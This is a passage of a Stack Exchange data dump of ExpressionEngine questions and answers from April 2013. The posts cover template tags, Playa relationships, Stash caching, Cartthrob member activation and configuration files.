  <row Id="9397" PostTypeId="2" ParentId="9395" CreationDate="2013-04-16T17:06:10.793" Score="1" Body="&lt;p&gt;It seems that Tool Model isn't being loaded before calling its property. Try by putting this line of code above the line number 271:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('tools_model');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-16T17:06:10.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9398" PostTypeId="2" ParentId="9396" CreationDate="2013-04-16T17:10:17.573" Score="1" Body="&lt;p&gt;You might use &lt;a href=&quot;https://github.com/webrgp/RedirectURL-EE2-Plugin&quot; rel=&quot;nofollow&quot;&gt;RedirectURL EE2 Plugin&lt;/a&gt; for redirection in EE2.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-16T17:10:17.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9399" PostTypeId="1" AcceptedAnswerId="10040" CreationDate="2013-04-16T17:14:00.673" Score="0" ViewCount="102" Body="&lt;p&gt;Here's an oldie but goodie. Links from social sharing sites are coming back like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://reliabilityweb.com/index.php/articles/start_executing_success_doesnt_stop_at_training/?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+Reliabilityweb+%28Reliabilityweb.com%29#When:15:03:50Z&quot; rel=&quot;nofollow&quot;&gt;http://reliabilityweb.com/index.php/articles/start_executing_success_doesnt_stop_at_training/?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+Reliabilityweb+%28Reliabilityweb.com%29#When:15:03:50Z&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ? and everything that follows confuses EE1 and yields 'Invalid GET data'. I see there is a solution for EE2, but what about EE1? Nothing in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-05-03T17:41:45.967" Title="Allow query strings in EE1?" Tags="|ee1|querystring|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9400" PostTypeId="2" ParentId="9305" CreationDate="2013-04-16T17:33:31.867" Score="0" Body="&lt;p&gt;Apparently it wasn't completely an issue with the nested conditional. After tweaking that I was able to display plain html inside it. The issue was that the {preload_replace} for my channel in the main templates wasn't being used to replace the channel in my sidebar template. I had to hardcode the channel name into the sidebar. I will have to find some solution to get the category {preload_replace} to work as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am marking this topic answered, since the title no longer applies to this issue. Thanks for the help guys!&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2013-04-16T17:33:31.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9401" PostTypeId="1" CreationDate="2013-04-16T17:59:40.343" Score="3" ViewCount="460" Body="&lt;p&gt;I have a three different statuses displaying within one main channel entries wrapper. I would like the first status to be ordered randomly, and the other two statuses will be sorted alphabetically by title. The code below obviously does not work, but it conveys what we are looking for. Can anyone help with this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;1|2|3&quot; channel=&quot;listing&quot; limit=&quot;15&quot;}&#xA;{if status == &quot;1&quot; orderby=&quot;random&quot;}&#xA;   Entries here&#xA;{if:elseif status == &quot;2&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;   Entries here&#xA;{if:else orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;   Entries here&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2013-04-25T12:01:24.103" Title="Three different statuses - sort each status differently" Tags="|status|orderby|sort|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9402" PostTypeId="1" CreationDate="2013-04-16T18:18:40.067" Score="1" ViewCount="70" Body="&lt;p&gt;Using the GMaps geocoder field and using the parse parameter on the template to return the data stored in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to access just each address componoent individually? For instance, I want to return the zipcode only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{types}&lt;/code&gt; does not appear to be a loop. I also tried &lt;code&gt;{types:var}&lt;/code&gt; and no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/fieldtype#parse&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/fieldtype#parse&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the JSON object looks like from Google Maps API:&#xA;&lt;a href=&quot;https://developers.google.com/maps/documentation/geocoding/#JSON&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/maps/documentation/geocoding/#JSON&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{retailers_geolocation parse=&quot;markers&quot;}&#xA;&#xA;    {markers}&#xA;&#xA;        {marker:address_components}&#xA;&#xA;            {short_name}&#xA;&#xA;        {/marker:address_components}&#xA;&#xA;    {/markers}&#xA;&#xA;{/retailers_geolocation}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-05-17T01:25:25.207" Title="Wanting to return individual variables for different &quot;types&quot; in the Google Map json object" Tags="|add-on|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9403" PostTypeId="1" AcceptedAnswerId="9404" CreationDate="2013-04-16T19:11:06.697" Score="0" ViewCount="23" Body="&lt;p&gt;I'm using a sidebar navigation, that is embedded on an intro page and subsequent single article pages. This is my embedded navigation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='spice_2011/kiritimati'}&quot; class=&quot;active_left&quot;&amp;gt;Kiritimati&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{exp:channel:entries channel=&quot;spice_kiritimati&quot; category=&quot;not 268&quot; disable=&quot;member_data|pagination&quot; sort=&quot;desc&quot; orderby=&quot;date&quot;}         &#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='spice_2011/kiritimati_atlas'}&quot; {alternate_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how the content is displayed on the intro page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;spice_kiritimati&quot; category=&quot;268&quot; disable=&quot;member_data|pagination&quot; sort=&quot;desc&quot; orderby=&quot;date&quot;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the titles of the articles show up in my embedded navigation on the intro page. Using the same embedded navigation, when I show pages that are limited to one article, using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;spice_kiritimati&quot; disable=&quot;member_data|pagination&quot; sort=&quot;desc&quot; orderby=&quot;date&quot; limit=&quot;1&quot;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only the one title, of the page you are on, shows up in the embedded navigation. Is there another way to handle how the embedded navigation is built, so that its not limited to the one article title, but shows all article titles, as on the intro page? I tried changing the limit=10 in the embedded navigation code, that didn't work. Neither did showing related categories, both tries were stabs in the dark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing I need to somehow grab all alternate titles in a channel, but can't figure out how to do it.&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2013-04-16T19:31:29.660" Title="Pull all {alternate_titles} fields for navigation menu, even if page is limit=1" Tags="|ee2|channel-entries|categories|navigation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9404" PostTypeId="2" ParentId="9403" CreationDate="2013-04-16T19:31:29.660" Score="1" Body="&lt;p&gt;You need to add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, it is dynamic, meaning it will look at the URL for information about which channel entry to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you turn dynamic off, it will just do what you tell it in the parameters.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-16T19:31:29.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9405" PostTypeId="2" ParentId="9396" CreationDate="2013-04-16T19:32:52.510" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;http://devot-ee.com/add-ons/redirectee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/redirectee&lt;/a&gt; This plugin will use the &lt;code&gt;header()&lt;/code&gt; function from PHP&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-04-16T19:32:52.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9406" PostTypeId="2" ParentId="9188" CreationDate="2013-04-16T19:42:18.453" Score="1" Body="&lt;p&gt;You could try &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;low replace&lt;/a&gt; on the tag and turn the + into a  word:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:low_replace find=&quot;+&quot; replace=&quot;plus&quot;}{caption}{/exp:low_replace}' != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-04-16T19:42:18.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9407" PostTypeId="1" AcceptedAnswerId="9408" CreationDate="2013-04-16T20:49:51.283" Score="1" ViewCount="123" Body="&lt;p&gt;As the title says, is it correct? Thanks&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-04-16T21:46:10.143" Title="Is it correct to put &quot;{site_url}&quot; inside a global variable?" Tags="|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9408" PostTypeId="2" ParentId="9407" CreationDate="2013-04-16T21:46:10.143" Score="3" Body="&lt;p&gt;Global variables declared in Design &gt; Templates &gt; Global Variables cannot contain EE tags, PHP, or other variables inside them.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;User-defined global variables are not run through the template engine,&#xA;  so you cannot place EE Tags, PHP, or variables inside them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you need to place EE tags inside re-usable bits of code then you'll need to use Snippets: Design &gt; Templates &gt; Snippets. They're parsed at a very early stage of template rendering so can contain dynamic variables.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-16T21:46:10.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9409" PostTypeId="1" CreationDate="2013-04-16T21:47:28.903" Score="1" ViewCount="535" Body="&lt;p&gt;I'm engaged in the Herculean task of configuring Focus Lab Master Config with an MSM site. I'm trying to write some conditionals based on the &lt;code&gt;site_id&lt;/code&gt; variable, but I keep getting errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm just running this on my local server, so inside &lt;code&gt;config/config.local.php&lt;/code&gt;, at the bottom, I put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($config['site_id'] == '1') {&#xA;    $env_config['webmaster_email'] = 'me@site-one.com';&#xA;} else {&#xA;    $env_config['webmaster_email'] = 'me@site-two.com';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I do this it causes the page to crash (&lt;code&gt;Error 330 (net::ERR_CONTENT_DECODING_FAILED): Unknown error.&lt;/code&gt;). The problem seems to be the &lt;code&gt;site_id&lt;/code&gt; variable, because if I do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (1 == 1) {&#xA;    $env_config['webmaster_email'] = 'me@site-one.com';&#xA;} else {&#xA;    $env_config['webmaster_email'] = 'me@site-two.com';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then everything is fine. I tried using &lt;code&gt;$site_id&lt;/code&gt; instead of &lt;code&gt;$config['site_id']&lt;/code&gt;, and I tried &lt;code&gt;site_name&lt;/code&gt; instead of &lt;code&gt;site_id&lt;/code&gt; but it's still not responding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-18T15:25:40.687" Title="Using site_id or site_name Inside Master Config Environment Files" Tags="|multi-site-manager|focus-lab-master-config|configuration-variables|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9410" PostTypeId="2" ParentId="9113" CreationDate="2013-04-16T22:07:39.207" Score="0" Body="&lt;p&gt;Kevin - I am sorry that I missed this!  Unfortunately this is not currently possible, you'd need to edit the Metadata from an Assets field or the Assets CP.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-16T22:07:39.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9411" PostTypeId="1" CreationDate="2013-04-16T22:19:55.763" Score="1" ViewCount="569" Body="&lt;p&gt;We are still having some trouble with this. We need to display the daily deals for today from businesses that match the current category. I thought I would take one last shot at seeing if you can help.  I have also broken down our objective in case I said something that confused things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel:      Daily Deal&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Field: (Playa)  Deal-Owner  [Applebees on Charles]&#xA;(selected from the list of entries in the “business-listing” channel)&lt;/li&gt;&#xA;&lt;li&gt;Field:      Title       [Applebees Deal]&lt;/li&gt;&#xA;&lt;li&gt;Field:      Monday-deal [example:  15% Off Senior Meals]&lt;/li&gt;&#xA;&lt;li&gt;Field:      Tuesday-deal    [example:  10% Off Junior Meals]&lt;/li&gt;&#xA;&lt;li&gt;Field:      Tuesday-deal    [example:  10% Off Junior Meals]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel:  Business-Listing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Title   [Applebees on Charles]&lt;/li&gt;&#xA;&lt;li&gt;City    [Denver]&lt;/li&gt;&#xA;&lt;li&gt;State   [CO]&lt;/li&gt;&#xA;&lt;li&gt;Status (options: Super Enhanced, Enhanced, Basic)   [Enhanced]&lt;/li&gt;&#xA;&lt;li&gt;Categories:  Zone  [Central]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The daily deal channel has a 1 to 1 playa relationship field which connects the deal to the business. The business listing has all the relevant data about the business (address, etc)  The Business is classified to a “Zone” (one of 5 locations) that is used in the URL {segment_1}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are attempting to view a Zone home page (segment_1 is populated with the zone name that matches the business category name).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Phonebook.com/central&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the page, only 6 daily deals are listed.  The daily deals are comprised of the deal information (corresponds with the day of the week), the business name, the business city and business state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: (assuming you are viewing the page on Monday)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;15% Off Senior Meals&#xA;Applebees on Charles -  Denver, CO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our thinking (as shown in the code below) is:  Select the daily deals that have a “Monday” deal.  Of those, find the associated businesses and filter to identify only those that coincide with the zone we are viewing.  Of the filtered deals/businesses, show the information about the business and the deal information – and show 6 entries on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below is what we believe should work (assuming some of it is located in embed files, but have put it all together in hopes that it will make sense).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;daily-deals&quot; orderby=&quot;random&quot; search:monday-deal=&quot;not IS_EMPTY&quot; limit=&quot;6&quot;}&#xA;{if monday-deal}&#xA;{exp:playa:children field=&quot;deal-owner&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;Super Enhanced|Enhanced|Basic&quot;}&#xA;{exp:playa:parent channel=&quot;daily-deals&quot;}{friday-deal}{/exp:playa:parent}&amp;lt;br&amp;gt;{title} - {city},{state} &#xA;{/exp:playa:children}&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, something is not working.  We have tried many variations, but something seems out of line.  Either we cannot get the code to limit to 6 entries, or it returns only 3 entries (because the code picks up all deals and limits to 6, but of the 6, it includes those with no deal on Monday (or from different zones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;UPDATE&lt;/em&gt;&lt;strong&gt;&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok - we have made some progress on this question and are using the code below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically we need to filter the PARENT by the CHILD category (which in our case we would like to pull from segment_1 using LowSeg2 addon) Is there a way to filter the parent exp:channel:entries by a child category? {segment_1_category_id} &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;daily-deals&quot; orderby=&quot;random&quot; search:monday-deal=&quot;not IS_EMPTY&quot; limit=&quot;6&quot;}&#xA;&amp;lt;h2&amp;gt;{monday-deal}&amp;lt;br /&amp;gt;&amp;lt;/h2&amp;gt;&#xA;{deal-owner status=&quot;Super Enhanced|Enhanced|Basic&quot; disable=&quot;members&quot; category=&quot;{segment_1_category_id}&quot;}&#xA;    {if no_children} no kids {/if}&#xA;    {categories show_group=&quot;1&quot;}category_name: {category_name}&amp;lt;br /&amp;gt;{/categories}&#xA;    deal_owner: {title}&#xA;{/deal-owner}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditDate="2013-04-19T15:15:26.250" LastActivityDate="2013-05-19T22:25:44.090" Title="Playa - use a child category to filter the channel entries of the parent?" Tags="|categories|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9412" PostTypeId="1" AcceptedAnswerId="9445" CreationDate="2013-04-16T23:14:34.270" Score="1" ViewCount="225" Body="&lt;p&gt;I have an EE 2.5.5 site. Using Cartthrob 2.2.9 with Profile:edit 1.0.9 as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During checkout I've set the &lt;code&gt;create_user=&quot;yes&quot;&lt;/code&gt; param which does in fact create a member upon checkout completion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have CT setup under the Members tab to use Profile:edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I receive an email asking to click a link to activate said account. This email is based on a message template &quot;Member Account Activation Instructions&quot; in EE itself which uses &lt;code&gt;{unwrap}{activation_url}{/unwrap}&lt;/code&gt; to create the actual link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link looks like:  &lt;code&gt;http://mysite.com/?ACT=14&amp;amp;id=3YI1MYDJtG&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click this link I get an error as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Invalid activation request.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note: I'm using custom system messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In profile:edit I set &quot;Require Member Account Activation?&quot; to be &quot;Self-activation via email&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is this setting in Cartthrob under the Member tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uMlDf.png&quot; alt=&quot;Member Creation Setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this set to Auto Login so it pulls the data from the checkout form to the member creation fields (and then on to to P:E or vice versa I presume.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Does Cartthrob automatically activate the user upon checkout with the above setting? And if so why is there an email still being sent out for activation? Would that be the cause of the error then? Is this a bug on the part of CT, P:E or EE maybe?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a setting which I'm missing in EE, CT, P:E or combination&#xA;there of which I need to set to get the activation working properly?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-04-17T22:30:15.837" Title="Require account activation with Cartthrob and Profile:edit issue" Tags="|ee2|cartthrob|profile-edit|activation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9413" PostTypeId="2" ParentId="9402" CreationDate="2013-04-17T00:29:52.790" Score="2" Body="&lt;p&gt;This is coming in 3.3, but it's not 100% ready for release. The main issue is that each locality has different address components and meanings. So my current example is US based (because that's where I am).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API will look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_field:address_component type=&quot;zipcode&quot;}&#xA;{your_field:address_component type=&quot;city&quot;}&#xA;{your_field:address_component type=&quot;address&quot;}&#xA;{your_field:address_component type=&quot;state&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are config variables so you can define your own locality, but of course there are no docs for this yet and has not been very well tested (outside of me). There is no ETA on this, but I know 3.3 will not be in the next several weeks or month. It's several months out. I you want the beta preview to use without docs I am happy to send it to you. Email support@objectivehtml.com&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-04-17T00:29:52.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9414" PostTypeId="1" CreationDate="2013-04-17T02:28:57.410" Score="0" ViewCount="255" Body="&lt;p&gt;I have a list and nested stash list loading and displaying ok until I try to cache. Once cached they both display fine on first load, but upon reload the nested list disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not clear on how to cache and reload a nested list, could someone please provide an example or modify the code below? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Not Working (Caching)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Stash list of homes and communities (in nested list) they belong to. Communities are stored in a playa relation within a matrix field. --}&#xA;  {exp:stash:set_list &#xA;    name=&quot;home_results_{segment_2}&quot; &#xA;    parse_tags=&quot;yes&quot; &#xA;    parse_depth=&quot;2&quot; &#xA;    parse_conditionals=&quot;yes&quot;&#xA;    save=&quot;yes&quot;&#xA;    refresh=&quot;1&quot;&#xA;    scope=&quot;site&quot;&#xA;    replace=&quot;no&quot;&#xA;  }&#xA;    {exp:channel:entries &#xA;      channel=&quot;homes&quot;&#xA;      dynamic=&quot;no&quot; &#xA;      category=&quot;1&quot;&#xA;      disable=&quot;member_data|pagination&quot;&#xA;    }&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {stash:entry_title}{title}{/stash:entry_title}&#xA;    {!-- Nested stuff. Stash the communties that this house is in.  --}&#xA;     {exp:stash:set_list:nested &#xA;        name=&quot;related_entries_{entry_id}&quot; &#xA;        parse_tags=&quot;yes&quot;&#xA;        save=&quot;yes&quot;&#xA;        refresh=&quot;1&quot;&#xA;        scope=&quot;site&quot;&#xA;        replace=&quot;no&quot;&#xA;      }&#xA;        {elevations} {!-- Matrix field --}&#xA;          {stash:incommunity}&#xA;              {elevation_community}{title} - {city_province}{/elevation_community} {!-- Playa field --}&#xA;        {/stash:incommunity}&#xA;        {/elevations}&#xA;      {/exp:stash:set_list:nested}&#xA;    {/exp:channel:entries}&#xA;  {/exp:stash:set_list}&#xA;{!-- End of Home results stash. --}&#xA;&#xA;&#xA;{!-- Load the nested stash list with communities into content --}&#xA;{exp:stash:append name=&quot;content&quot;}&#xA;    {exp:stash:get_list name=&quot;home_results_{segment_2}&quot;}&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;strong&amp;gt;{entry_title}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;        {!-- Stash get the list of communities the home is built in --}&#xA;          {exp:stash:get_list:nested unique=&quot;yes&quot; prefix=&quot;nested&quot; name=&quot;related_entries_{entry_id}&quot;}&#xA;           - {incommunity}&amp;lt;br&amp;gt;&#xA;         {/exp:stash:get_list:nested} &#xA;      &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;{/exp:stash:append}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1000" LastActivityDate="2013-04-26T17:59:10.360" Title="Caching Nested Stash List" Tags="|matrix|playa|stash|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9415" PostTypeId="1" CreationDate="2013-04-17T05:19:14.497" Score="2" ViewCount="68" Body="&lt;p&gt;I'm using a Playa field within Matrix to specify related entries, in EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set the &quot;Channels&quot; selection to -Any- everything works as expected and the entries to select from are displayed when you go to edit a content item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the &quot;Channels&quot; selection to any specific Channel, it displays &quot;No entries for this related channel&quot; when there are Open entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The themes folder URL is given with the full URL, and I have tried disabling the .htaccess as suggested at &lt;a href=&quot;http://pixelandtonic.com/playa/docs/troubleshooting&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/playa/docs/troubleshooting&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1345" LastActivityDate="2013-05-17T10:25:25.237" Title="Playa &quot;no entries for this related channel&quot;" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9416" PostTypeId="2" ParentId="9415" CreationDate="2013-04-17T09:38:06.103" Score="1" Body="&lt;p&gt;what Playa version is this? 4.4 release introduced some bugs which will be fixed in a 4.4.1 release probably today, so this might be that.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-04-17T09:38:06.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9417" PostTypeId="1" AcceptedAnswerId="9471" CreationDate="2013-04-17T10:30:17.753" Score="0" ViewCount="545" Body="&lt;p&gt;I am learning EE on the fly as I am creating our new corporate website in EE (at management's insistence) and I need to load different external js files depending on the template. I tried the approach below and the page in the browser doesn't show the variable as passing through even though the title variable comes through nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an error I don't see or is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template named html_head.html coded as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;!--[if IE 7]&amp;gt; &amp;lt;html lang=&quot;en&quot; class=&quot;ie7 no-js&quot;&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if IE 8]&amp;gt; &amp;lt;html lang=&quot;en&quot; class=&quot;ie no-js&quot;&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if !IE]&amp;gt;&amp;lt;!--&amp;gt; &amp;lt;html lang=&quot;en&quot; class=&quot;no-js&quot;&amp;gt; &amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt;&#xA;    &amp;lt;meta id=&quot;view&quot; name=&quot;viewport&quot; content=&quot;width=device-width, maximum-scale=1.0, minimum-scale=1.0, initial-scale=1&quot; /&amp;gt;&#xA;    &amp;lt;title&amp;gt;{embed:page_title}&amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;!-- Stylesheets --&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}/bootstrap/css/bootstrap.min.css&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}/bootstrap/css/bootstrap-responsive.min.css&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}/css/styles.min.css&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;!--[if lt IE 